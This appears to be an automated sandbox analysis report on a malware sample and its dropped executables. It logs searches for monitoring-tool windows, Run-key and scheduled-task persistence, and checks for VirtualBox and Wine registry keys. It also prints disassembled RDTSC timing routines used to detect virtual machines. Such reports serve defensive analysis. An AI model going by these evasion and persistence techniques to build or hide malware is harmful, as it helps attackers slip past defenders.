Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e192e43b61.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e192e43b61.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run b0b9f39429.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run b0b9f39429.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 5e28f62265.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 5e28f62265.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5576D6 second address: 5576F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jbe 00007F40B515FC06h 0x0000000b jmp 00007F40B515FC00h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5576F1 second address: 557705 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B477E78Fh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 557705 second address: 557725 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F40B515FBFDh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jng 00007F40B515FC18h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 557725 second address: 557729 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54EFFC second address: 54F008 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F008 second address: 54F00C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F00C second address: 54F010 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F010 second address: 54F016 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F016 second address: 54F046 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F40B515FC06h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F40B515FC00h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A272 second address: 55A28B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b jl 00007F40B477E794h 0x00000011 push eax 0x00000012 push edx 0x00000013 jo 00007F40B477E786h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A2ED second address: 55A2F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A2F3 second address: 55A3A3 instructions: 0x00000000 rdtsc 0x00000002 js 00007F40B477E788h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov di, 327Ah 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push ebp 0x00000018 call 00007F40B477E788h 0x0000001d pop ebp 0x0000001e mov dword ptr [esp+04h], ebp 0x00000022 add dword ptr [esp+04h], 00000017h 0x0000002a inc ebp 0x0000002b push ebp 0x0000002c ret 0x0000002d pop ebp 0x0000002e ret 0x0000002f push 86692ABCh 0x00000034 jmp 00007F40B477E797h 0x00000039 add dword ptr [esp], 7996D5C4h 0x00000040 add edx, dword ptr [ebp+122D38E9h] 0x00000046 push 00000003h 0x00000048 or dword ptr [ebp+122D3755h], esi 0x0000004e push 00000000h 0x00000050 jmp 00007F40B477E799h 0x00000055 push 00000003h 0x00000057 call 00007F40B477E790h 0x0000005c jmp 00007F40B477E78Ch 0x00000061 pop ecx 0x00000062 movzx edi, si 0x00000065 push 89954B9Fh 0x0000006a je 00007F40B477E794h 0x00000070 pushad 0x00000071 push eax 0x00000072 push edx 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A3A3 second address: 55A3D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F40B515FBF6h 0x0000000a popad 0x0000000b xor dword ptr [esp], 49954B9Fh 0x00000012 mov di, 5CECh 0x00000016 call 00007F40B515FBFBh 0x0000001b mov ecx, edx 0x0000001d pop edi 0x0000001e lea ebx, dword ptr [ebp+1244F1B3h] 0x00000024 xchg eax, ebx 0x00000025 jnl 00007F40B515FBFEh 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A508 second address: 55A522 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jne 00007F40B477E786h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 jno 00007F40B477E788h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A522 second address: 55A539 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B515FBFCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A539 second address: 55A53E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A639 second address: 55A63E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A63E second address: 55A693 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007F40B477E788h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 00000018h 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 mov ecx, dword ptr [ebp+122D37EDh] 0x0000002a push 00000000h 0x0000002c sub dword ptr [ebp+122D3433h], esi 0x00000032 jne 00007F40B477E78Ah 0x00000038 call 00007F40B477E789h 0x0000003d jnp 00007F40B477E794h 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A693 second address: 55A6A2 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F40B515FBF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push esi 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A6A2 second address: 55A6B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop esi 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007F40B477E788h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A6B6 second address: 55A6EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F40B515FBF6h 0x00000009 jmp 00007F40B515FC01h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov eax, dword ptr [eax] 0x00000013 push edx 0x00000014 jng 00007F40B515FBFCh 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f push eax 0x00000020 push edx 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A6EC second address: 55A6F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A6F1 second address: 55A799 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F40B515FC0Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b movsx esi, si 0x0000000e movzx edx, di 0x00000011 push 00000003h 0x00000013 push 00000000h 0x00000015 push edi 0x00000016 call 00007F40B515FBF8h 0x0000001b pop edi 0x0000001c mov dword ptr [esp+04h], edi 0x00000020 add dword ptr [esp+04h], 0000001Bh 0x00000028 inc edi 0x00000029 push edi 0x0000002a ret 0x0000002b pop edi 0x0000002c ret 0x0000002d sub dword ptr [ebp+122D1DF0h], esi 0x00000033 jmp 00007F40B515FC07h 0x00000038 push 00000000h 0x0000003a mov dword ptr [ebp+122D3515h], edi 0x00000040 push 00000003h 0x00000042 pushad 0x00000043 call 00007F40B515FC04h 0x00000048 mov edx, 6CA795B0h 0x0000004d pop ecx 0x0000004e xor dword ptr [ebp+122D1DF9h], ebx 0x00000054 popad 0x00000055 call 00007F40B515FBF9h 0x0000005a pushad 0x0000005b pushad 0x0000005c jl 00007F40B515FBF6h 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A799 second address: 55A7C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push edi 0x00000009 pop edi 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d jmp 00007F40B477E791h 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 push eax 0x00000017 push edx 0x00000018 push esi 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b pop esi 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A7C1 second address: 55A86D instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F40B515FBF8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e pushad 0x0000000f pushad 0x00000010 jmp 00007F40B515FC00h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 jmp 00007F40B515FC08h 0x0000001d popad 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 js 00007F40B515FC06h 0x00000028 je 00007F40B515FC00h 0x0000002e jmp 00007F40B515FBFAh 0x00000033 pop eax 0x00000034 mov dl, cl 0x00000036 lea ebx, dword ptr [ebp+1244F1C7h] 0x0000003c push 00000000h 0x0000003e push ebp 0x0000003f call 00007F40B515FBF8h 0x00000044 pop ebp 0x00000045 mov dword ptr [esp+04h], ebp 0x00000049 add dword ptr [esp+04h], 0000001Ch 0x00000051 inc ebp 0x00000052 push ebp 0x00000053 ret 0x00000054 pop ebp 0x00000055 ret 0x00000056 jmp 00007F40B515FC04h 0x0000005b xchg eax, ebx 0x0000005c push eax 0x0000005d push edx 0x0000005e jmp 00007F40B515FC02h 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55256B second address: 55256F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 577ECA second address: 577ECE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57870A second address: 578710 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
